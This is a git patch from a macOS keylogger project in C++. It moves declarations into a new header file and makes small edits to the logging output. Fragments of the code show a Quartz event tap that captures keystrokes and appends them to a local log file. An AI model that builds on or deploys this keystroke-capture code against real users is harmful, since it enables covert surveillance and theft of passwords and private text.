From f6a7cbe93f0d6aa88089cb8d8ba3e5ef0748bc21 Mon Sep 17 00:00:00 2001 From: Casey Scarborough Date: Mon, 16 Sep 2013 19:46:20 -0400 Subject: [PATCH] Add keylogger.h. --- keylogger.cpp | 18 ++++-------------- keylogger.h | 16 ++++++++++++++++ 2 files changed, 20 insertions(+), 14 deletions(-) create mode 100644 keylogger.h diff --git a/keylogger.cpp b/keylogger.cpp index 18de1f4..27083db 100644 --- a/keylogger.cpp +++ b/keylogger.cpp @@ -1,14 +1,4 @@ -#include -#include -#include -#include -// https://developer.apple.com/library/mac/documentation/Carbon/Reference/QuartzEventServicesRef/Reference/reference.html - -using namespace std; - -FILE *logfile = NULL; -CGEventRef CGEventCallback(CGEventTapProxy, CGEventType, CGEventRef, void*); -const char *convertKeyCode(int); +#include "keylogger.h" int main(int argc, const char *argv[]) { @@ -27,7 +17,7 @@ int main(int argc, const char *argv[]) { const char *logfileLocation = "./keystroke.log"; logfile = fopen(logfileLocation, "a"); - fprintf(logfile, "Keylogging has begun."); + fprintf(logfile, "Keylogging has begun.\n"); fflush(logfile); cout << "Logging to: " << logfileLocation << endl; @@ -41,7 +31,7 @@ CGEventRef CGEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef e return event; } CGKeyCode keyCode = (CGKeyCode) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode); - + fprintf(logfile, "%s", convertKeyCode(keyCode)); fflush(logfile); @@ -117,7 +107,7 @@ const char *convertKeyCode(int keyCode) { case 92: return "9"; case 36: return "[return]"; case 48: return "[tab]"; - case 49: return "[space]"; + case 49: return " "; case 51: return "[del]"; case 53: return "[esc]"; case 55: return "[cmd]"; diff --git a/keylogger.h b/keylogger.h new file mode 100644 index 0000000..7d716c5 --- /dev/null +++ b/keylogger.h @@ -0,0 +1,16 @@ +#ifndef __KEYLOGGER_H__ +#define __KEYLOGGER_H__ + +#include +#include +#include +#include +// https://developer.apple.com/library/mac/documentation/Carbon/Reference/QuartzEventServicesRef/Reference/reference.html + +using namespace std; + +FILE *logfile = NULL; +CGEventRef CGEventCallback(CGEventTapProxy, CGEventType, CGEventRef, void*); +const char *convertKeyCode(int); + +#endif \ No newline at end of file